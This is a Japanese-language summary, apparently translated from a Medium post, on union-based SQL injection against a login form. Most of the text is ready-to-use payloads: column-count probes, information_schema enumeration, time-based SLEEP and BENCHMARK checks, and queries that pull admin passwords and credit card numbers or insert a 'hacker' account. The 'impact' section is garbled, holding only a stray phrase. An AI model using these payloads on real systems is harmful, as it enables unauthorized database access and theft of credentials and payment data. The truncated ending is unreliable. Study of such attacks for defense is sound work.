Critical Union-Based SQL Injection Vulnerability から学ぶ

ソース:

medium.com

脆弱性SQLインジェクション

 

訳:

まとめ:

この脆弱性により、攻撃者はアプリケーションのデータベースに対して任意の SQL クエリを実行することができ、その結果、未承認のアクセス、データ漏洩、さらにはシステム全体への侵入が引き起こされる可能性があります。

この脆弱性、その影響、および提案される対策に関する技術情報は、次のレポートに含まれています。

説明:

プログラムのログイン フォームは、ユーザー入力を SQL クエリで利用する前に正しくサニタイズしません。

この方法で悪意のある SQL ステートメントを挿入すると、攻撃者は認証制御を回避し、許可なくアプリケーションのデータベースにアクセスできます。

ユニオンベースの悪用

列数の検出

クエリの出力を表示できる場合、これがクエリを使用する最良の方法です。
まず、最初のリクエストが返す列の数を確認する必要があります。
これが必要なのは、両方のクエリによって返される列の数が同じである必要があるためです。

通常、これには次の 2 つの手法が使用されます。

 

Order/Group by

False の回答が得られるまで、数値を増やす必要があります。 GROUP BY と ORDER BY の機能は SQL では異なりますが、どちらもクエリ内の列数を決定するために同じ方法で使用できます。

 

1' ORDER BY 1--+ #True
1'
ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1'
ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True

UNION SELECT

クエリが正確になるまで、null 値の数を増やしていきます。

 

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

 

NULL 値は、クエリの両側の列の型が一致する必要があるすべての状況で有効であるため、使用します。

データベース名、テーブル名、列名を抽出します。

null 値は、クエリの両側の列の型が一致する必要がある場合など、あらゆる状況で有効であるため、null 値を使用します。

 

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1'
UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

 

隠されたユニオンベースの悪用

クエリの結果は確認できるものの、ユニオン ベースのインジェクションを実行できない場合は、隠蔽されたユニオン ベースのインジェクションを扱っていることになります。
この症状の結果として、ブラインドインジェクションを受けます。
ブラインド インジェクションをユニオン ベースのインジェクションに変換するには、バックエンドで実行されているクエリを抽出する必要があります。

これは、ターゲット DBMS のデフォルト テーブルとブラインド インジェクションを利用して行うことができます。
これらのデフォルト テーブルの詳細については、ターゲット システムの DBMS ドキュメントを参照してください。

問い合わせが抽出されたら、元の質問を安全に閉じる前に、それに応じてペイロードを変更する必要があります。
ユニオンベースのインジェクションを取得したら、ペイロードにユニオンクエリを追加して使用を開始します。

 

Generic Union Select Payloads

ORDER BY SLEEP(5)
ORDER BY 1,SLEEP(5)
ORDER BY 1,SLEEP(5)#
ORDER BY 1,SLEEP(5),3#
ORDER BY 1,SLEEP(5),3,4#
UNION ALL SELECT 1#
UNION ALL SELECT 1,2#
UNION ALL SELECT 1,2,3#
UNION SELECT @@VERSION,SLEEP(5),3
UNION SELECT @@VERSION,SLEEP(5),USER(),4
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5
UNION SELECT @@VERSION,SLEEP(5),"'3
UNION SELECT @@VERSION,SLEEP(5),"'3'"#
UNION SELECT @@VERSION,SLEEP(5),USER(),4#
UNION ALL SELECT NULL#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
UNION ALL SELECT NULL
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
UNION ALL SELECT 'INJ'||'ECT'||'XXX'
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
UNION ALL SELECT 'INJ'||'ECT'||'XXX'--
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2--
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3--
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4--
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5--
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6--

 

Union ベースの SQL インジェクションのペイロード:

1. 現在のユーザーの詳細を取得します。

‘ UNION SELECT username, password, NULL FROM users WHERE username=’admin’ —

2. 別のテーブルから機密情報を取得します。

‘ UNION SELECT credit_card_number, NULL, NULL FROM user_credit_cards —

3. テーブル構造を列挙します。

‘ UNION SELECT table_name, column_name, NULL FROM information_schema.columns —

4. 特定のテーブルからデータを抽出します。

‘ UNION SELECT column1, column2, NULL FROM target_table —

5. システム情報にアクセスします。

‘ UNION SELECT @@version, NULL, NULL —

6. 任意の SQL コマンドを実行します。

‘; INSERT INTO users (username, password) VALUES (‘hacker’, ‘password’); —

インパクト:

ほなほな。